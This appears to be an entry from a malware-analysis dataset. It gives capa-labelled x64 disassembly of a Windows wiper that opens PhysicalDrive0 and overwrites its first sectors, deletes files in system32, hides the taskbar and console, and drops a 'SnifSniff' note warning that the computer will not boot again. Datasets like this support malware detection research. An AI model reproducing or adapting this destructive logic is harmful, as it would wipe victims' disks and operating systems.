joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000f498
Capabilities:
Set registry value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov dword [rbp + 0x28], r9d
mov rdx, qword [rbp + 0x18]
mov rax, qword [rbp + 0x10]
lea rcx, [rbp - 8]
mov qword [rsp + 0x20], rcx
mov r9d, 2
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
call rax
mov rax, qword [rbp - 8]
mov r8d, dword [rbp + 0x28]
mov rdx, qword [rbp + 0x20]
mov ecx, dword [rbp + 0x38]
mov dword [rsp + 0x28], ecx
mov rcx, qword [rbp + 0x30]
mov qword [rsp + 0x20], rcx
mov r9d, r8d
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
jmp 0x14000f529
nop
add rsp, 0x40
pop rbp
ret

Function at 0x14000f581
Capabilities:
Copy file

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rdx, qword [rbp + 0x18]
mov rax, qword [rbp + 0x10]
mov r8d, 1
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileW]
call rax
nop
add rsp, 0x20
pop rbp
ret

Function at 0x14000f5b2
Capabilities:
Set file attributes

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov edx, 2
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
call rax
nop
add rsp, 0x20
pop rbp
ret

Function at 0x14000f7df
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push rbp
sub rsp, 0x490
lea rbp, [rsp + 0x80]
lea rax, str.C:WINDOWS_system32
mov qword [rbp + 0x408], rax
lea rdx, [rbp + 0x1b0]
mov rax, qword [rbp + 0x408]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindFirstFileW]
call rax
mov qword [rbp + 0x400], rax
lea rax, str.C:WINDOWS_system32_
mov qword [rbp + 0x408], rax
mov eax, dword [rbp + 0x1b0]
cmp eax, 0x10
je 0x14000f876
lea rax, [rbp + 0x1b0]
lea rcx, [rax + 0x2c]
mov rdx, qword [rbp + 0x408]
lea rax, [rbp - 0x60]
mov r9, rcx
mov r8, rdx
lea rdx, str._s_s
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_wsprintfW]
call rax
lea rax, [rbp - 0x60]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileW]
call rax
lea rdx, [rbp + 0x1b0]
mov rax, qword [rbp + 0x400]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindNextFileW]
call rax
test eax, eax
setne al
test al, al
jne 0x14000f82c
mov rax, qword [rbp + 0x400]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindClose]
call rax
nop
add rsp, 0x490
pop rbp
ret

Function at 0x14000f8fa
Capabilities:
Find taskbar
Hide graphical window
Hide the windows taskbar

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov edx, 0
lea rax, str.Shell_TrayWnd
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_FindWindowA]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
je 0x14000f93a
mov rax, qword [rbp - 8]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
mov ecx, 0xc8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
jmp 0x14000f902
Function at 0x14000f95e
Capabilities:
Hide graphical window
Terminate process
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 3
mov edx, 0xc0000000
lea rax, str..PhysicalDrive0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0xffffffffffffffff
jne 0x14000f9de
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
mov edx, 0x10000
mov ecx, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_LocalAlloc]
call rax
mov qword [rbp - 0x20], rax
cmp qword [rbp - 0x20], 0
jne 0x14000fa1a
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
mov dword [rbp - 4], 0
jmp 0x14000fa49
mov eax, dword [rbp - 4]
movsxd rdx, eax
mov rax, qword [0x14010e0e0]
add rax, rdx
mov edx, dword [rbp - 4]
movsxd rcx, edx
mov rdx, qword [rbp - 0x20]
add rdx, rcx
movzx eax, byte [rax]
mov byte [rdx], al
add dword [rbp - 4], 1
mov eax, dword [rbp - 4]
movsxd rdx, eax
mov rax, qword [0x14010e0f0]
mov rax, qword [rax]
cmp rdx, rax
jb 0x14000fa23
mov dword [rbp - 4], 0
jmp 0x14000fa94
mov eax, dword [rbp - 4]
movsxd rdx, eax
mov rax, qword [0x14010e100]
add rax, rdx
mov edx, dword [rbp - 4]
movsxd rdx, edx
lea rcx, [rdx + 0x1fe]
mov rdx, qword [rbp - 0x20]
add rdx, rcx
movzx eax, byte [rax]
mov byte [rdx], al
add dword [rbp - 4], 1
mov eax, dword [rbp - 4]
movsxd rdx, eax
mov rax, qword [0x14010e110]
mov rax, qword [rax]
cmp rdx, rax
jb 0x14000fa67
lea rcx, [rbp - 0x24]
mov rdx, qword [rbp - 0x20]
mov rax, qword [rbp - 0x18]
mov qword [rsp + 0x20], 0
mov r9, rcx
mov r8d, 0x10000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
test eax, eax
sete al
test al, al
je 0x14000fb0a
mov rax, qword [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LocalFree]
call rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
mov rax, qword [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LocalFree]
call rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
nop
add rsp, 0x70
pop rbp
ret
Function at 0x14000fb31
Capabilities:
Create process on windows
Hide graphical window
Write and execute a file
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 2
mov r9d, 0
mov r8d, 3
mov edx, 0xc0000000
lea rax, [0x140106b65]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0xffffffffffffffff
je 0x14000fc4b
mov rax, qword [0x14010e130]
mov rax, qword [rax]
mov ecx, eax
lea rdx, [rbp - 0x14]
mov rax, qword [rbp - 0x10]
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, ecx
mov rdx, qword [str.Congratulations__your_computer_has_been_optimized__nNo_video_game_playing__no_video_game_lag_and_problem_solved__n_nNo_need_to_thank_SnifSniff._n_nYour_computer_wont_boot_up_again__r_nso_use_it_as_long_as_you_can__n_nTrying_to_kill_SnifSniff_will_cause_your_system_to_be_r_ndestroyed_instantly__so_dont_try_it_:D]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
test eax, eax
sete al
test al, al
je 0x14000fbf8
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x14000fc4c
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov dword [rsp + 0x28], 0xa
mov qword [rsp + 0x20], 0
lea r9, str._note.txt
lea r8, str.notepad
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteW]
call rax
jmp 0x14000fc4c
nop
add rsp, 0x60
pop rbp
ret
Function at 0x140010746
Capabilities:
Delete file

Disassembly:
push rbp
push rsi
push rbx
sub rsp, 0x90
lea rbp, [rsp + 0x90]
mov qword [rbp + 0x20], rcx
lea rax, [rbp - 0x41]
mov qword [rbp - 0x10], rax
nop
nop
mov rax, qword [rbp + 0x20]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.end___const
mov rbx, rax
mov rax, qword [rbp + 0x20]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.begin___const
mov rdx, rax
lea rcx, [rbp - 0x41]
lea rax, [rbp - 0x70]
mov r9, rcx
mov r8, rbx
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string___gnu_cxx::__normal_iterator_char_const__std::__cxx11::basic_string_char__std::char_traits_char___std.allocator_char_______void____gnu_cxx::__no
lea rax, [rbp - 0x41]
mov rcx, rax
call method.std::__new_allocator_wchar_t_.__new_allocator__
nop
lea rax, [rbp - 0x70]
mov rcx, rax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___.c_str___const
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileW]
call rax
test eax, eax
sete al
test al, al
je 0x140010823
mov rax, qword [rbp + 0x20]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
call sym.remove
test eax, eax
setne al
test al, al
je 0x140010823
mov rdx, qword [rbp + 0x20]
lea rax, [rbp - 0x40]
mov r8d, 2
mov rcx, rax
call method.std::filesystem::__cxx11::path::path_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::filesystem::__cxx11.path__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::filesy
lea rax, [rbp - 0x40]
mov rcx, rax
call method.std::filesystem.remove_std::filesystem::__cxx11::path_const_
xor eax, 1
mov ebx, eax
lea rax, [rbp - 0x40]
mov rcx, rax
call method.std::filesystem::__cxx11::path.path__
test bl, bl
je 0x140010823
mov ebx, 0
jmp 0x140010828
mov ebx, 1
lea rax, [rbp - 0x70]
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string__
mov eax, ebx
jmp 0x1400108aa
add rsp, 0x90
pop rbx
pop rsi
pop rbp
ret
Function at 0x140015610
Capabilities:
Parse pe header

Disassembly:
push rsi
sub rsp, 0x30
mov rax, qword [rcx + 0x18]
movzx edx, byte [rax]
cmp dl, 0x4c
je 0x140015680
jg 0x140015640
sub edx, 0x49
cmp dl, 1
ja 0x140015690
add rax, 1
mov qword [rcx + 0x18], rax
add rsp, 0x30
pop rsi
jmp sym.d_template_args_1
cmp dl, 0x58
jne 0x140015690
add rax, 1
mov esi, dword [rcx + 0x4c]
mov dword [rcx + 0x4c], 1
mov qword [rcx + 0x18], rax
mov qword [rsp + 0x28], rcx
call sym.d_expression_1
mov rcx, qword [rsp + 0x28]
mov rdx, qword [rcx + 0x18]
mov dword [rcx + 0x4c], esi
cmp byte [rdx], 0x45
jne 0x1400156a0
add rdx, 1
mov qword [rcx + 0x18], rdx
add rsp, 0x30
pop rsi
ret
add rsp, 0x30
pop rsi
jmp sym.d_expr_primary
add rsp, 0x30
pop rsi
jmp sym.d_type
xor eax, eax
jmp 0x14001567a
Function at 0x14001f3c0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call dbg.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x14001f430
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14013f544]
mov rbx, rcx
test esi, esi
jle 0x14001f560
mov rax, qword [0x14013f548]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14001f47b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x14001f505
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x14001f460
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x14001f582
mov rax, qword [0x14013f548]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14013f548]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x14001f567
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x14001f4fe
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x14001f510
add dword [0x14013f544], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14013f548]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14001f4fe
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x14001f488
mov rax, qword [0x14013f548]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x14001fb20
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14013f5a0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14013f580]
test rbx, rbx
je 0x14001fb84
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop word cs:[rax + rax]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x14001fb7b
test eax, eax
jne 0x14001fb7b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x14001fb60
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x14001fdc0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x14001fdd8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x14001fde0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x14001fdf0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x14001fe3d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x14001fe34
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14001fe3f
add rax, 0x28
cmp rax, r9
jne 0x14001fe20
xor eax, eax
ret

Function at 0x14001fe40
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x14001fed0
mov rdx, qword [0x14010df20]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x14001febe
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14001febe
cmp word [rax + 0x18], 0x20b
jne 0x14001febe
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x14001fed0
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x14001fea9
add rbx, 0x28
cmp rbx, rdi
je 0x14001fed0
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x14001fea0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x14001fee0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14010df20]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x14001ff00
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x14001ff08
ret
cmp word [r8 + 0x18], 0x20b
jne 0x14001ff00
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14001ff5d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14001ff54
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x14001ff00
add rax, 0x28
cmp rax, r9
jne 0x14001ff40
xor eax, eax
ret

Function at 0x14001ff60
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14010df20]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14001ff7f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x14001ff88
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14001ff7f
movzx ecx, word [rax + 6]
mov eax, ecx
ret
Function at 0x14001ffa0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x14010df20]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x14001ffc0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x14001ffc8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x14001ffc0
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140020018
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x14002000f
test rcx, rcx
je 0x14001ffc0
sub rcx, 1
add rax, 0x28
cmp rdx, rax
jne 0x140020000
xor eax, eax
ret

Function at 0x140020020
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14010df20]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14002003f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140020048
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140020060
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14010df20]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140020080
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140020088
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140020080
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x140020080
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x1400200d4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x1400200e0
add rdx, 0x28
cmp r9, rdx
jne 0x1400200c0
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x1400200f0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x14010df20]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140020112
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140020120
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140020112
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140020112
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x140020112
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x140020175
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140020188
add rdx, 0x28
cmp r10, rdx
jne 0x140020160
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140020197
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x1400201a7
mov edx, dword [rax + 0xc]
test edx, edx
je 0x14002017e
test ecx, ecx
jg 0x140020190
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140020e00
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x138
mov rbx, rcx
call sym._errno
mov dword [rax], 0
test rbx, rbx
je 0x140020fb8
cmp byte [rbx], 0
je 0x140020f80
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x140020fd0
test al, 0x10
je 0x140020f80
lea rsi, [rsp + 0x20]
mov rdx, rbx
mov r8d, 0x104
mov rcx, rsi
call sym._fullpath
mov rcx, rsi
call sym.strlen
lea rcx, [rax + 0x24b]
mov rbx, rax
mov rbp, rax
call sym.malloc
mov rdx, rax
test rax, rax
je 0x140020ff8
lea r8, [rax + 0x244]
lea rax, [rbx + 1]
cmp eax, 8
jb 0x140020f40
mov rcx, qword [rsp + 0x20]
lea rdi, [rdx + 0x24c]
and rdi, 0xfffffffffffffff8
mov qword [rdx + 0x244], rcx
mov ecx, eax
mov r9, qword [rsi + rcx - 8]
mov qword [r8 + rcx - 8], r9
mov rcx, r8
sub rcx, rdi
sub rsi, rcx
add ecx, eax
shr ecx, 3
rep movsq qword [rdi], qword [rsi]
cmp byte [rdx + 0x244], 0
je 0x140020ee8
movzx ecx, byte [rdx + rbx + 0x243]
cmp cl, 0x5c
je 0x140020ee8
cmp cl, 0x2f
jne 0x140020fa0
mov eax, 0x2a
mov ecx, 0x20
mov word [r8 + rbp], ax
lea r8, [rdx + 0x130]
xor eax, eax
mov qword [rdx + 0x238], 0xffffffffffffffff
mov rdi, r8
mov dword [rdx + 0x240], 0
mov qword [rdx + 0x128], 0
rep stosq qword [rdi], rax
mov rax, rdx
mov dword [rdi], 0
add rsp, 0x138
pop rbx
pop rsi
pop rdi
pop rbp
ret
test al, 4
jne 0x140020fe0
test eax, eax
je 0x140020ec9
movzx ecx, byte [rsp + 0x20]
mov byte [rdx + 0x244], cl
test al, 2
je 0x140020ec9
mov ecx, eax
movzx r9d, word [rsi + rcx - 2]
mov word [r8 + rcx - 2], r9w
jmp 0x140020ec9
call sym._errno
xor edx, edx
mov dword [rax], 0x14
mov rax, rdx
add rsp, 0x138
pop rbx
pop rsi
pop rdi
pop rbp
ret
mov ecx, 0x5c
mov rbp, rax
mov word [r8 + rbx], cx
jmp 0x140020ee8
call sym._errno
xor edx, edx
mov dword [rax], 0xe
jmp 0x140020f8d
call sym._errno
xor edx, edx
mov dword [rax], 2
jmp 0x140020f8d
mov ecx, dword [rsp + 0x20]
mov dword [r8], ecx
mov ecx, eax
mov r9d, dword [rsi + rcx - 4]
mov dword [r8 + rcx - 4], r9d
jmp 0x140020ec9
call sym._errno
xor edx, edx
mov dword [rax], 0xc
jmp 0x140020f8d
Function at 0x140021440
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x230
mov rbx, rcx
call sym._errno
mov dword [rax], 0
test rbx, rbx
je 0x1400215a0
cmp word [rbx], 0
je 0x140021590
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1400215b0
test al, 0x10
je 0x140021590
lea rsi, [rsp + 0x20]
mov rdx, rbx
mov r8d, 0x104
mov rcx, rsi
lea rdi, [0x14010c640]
lea rbp, [0x14010c644]
call sym._wfullpath
mov rcx, rsi
call sym.wcslen
mov rcx, rdi
mov rbx, rax
call sym.wcslen
mov rcx, rbp
add rbx, rax
call sym.wcslen
lea rcx, [rbx + rax + 0x229]
add rcx, rcx
call sym.malloc
mov rbx, rax
test rax, rax
je 0x1400215bf
lea r12, [rax + 0x44c]
mov rdx, rsi
mov rcx, r12
call sym.wcscpy
cmp word [rbx + 0x44c], 0
jne 0x140021558
mov rdx, rbp
mov rcx, r12
call sym.wcscat
lea rdx, [rbx + 0x238]
mov ecx, 0x41
xor eax, eax
mov qword [rbx + 0x440], 0xffffffffffffffff
mov rdi, rdx
mov dword [rbx + 0x448], 0
mov qword [rbx + 0x230], 0
rep stosq qword [rdi], rax
mov rax, rbx
add rsp, 0x230
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rcx, r12
call sym.wcslen
cmp word [rbx + rax*2 + 0x44a], 0x2f
je 0x140021502
mov rcx, r12
call sym.wcslen
cmp word [rbx + rax*2 + 0x44a], 0x5c
je 0x140021502
mov rdx, rdi
mov rcx, r12
call sym.wcscat
jmp 0x140021502
call sym._errno
xor ebx, ebx
mov dword [rax], 0x14
jmp 0x140021541
call sym._errno
xor ebx, ebx
mov dword [rax], 0xe
jmp 0x140021541
call sym._errno
xor ebx, ebx
mov dword [rax], 2
jmp 0x140021541
call sym._errno
xor ebx, ebx
mov dword [rax], 0xc
jmp 0x140021541

Function at 0x140021900
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
mov ecx, 2
mov r8d, 0x2d
lea rdx, global_msg.0
call sym.write
mov ecx, 0x17
call sym.IsProcessorFeaturePresent
test eax, eax
je 0x140021930
mov ecx, 8
int 0x29
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop

Function at 0x140021950
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
mov ecx, 2
mov r8d, 0x2c
lea rdx, [0x14010c6a0]
call sym.write
mov ecx, 0x17
call sym.IsProcessorFeaturePresent
test eax, eax
je 0x140021980
mov ecx, 2
int 0x29
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop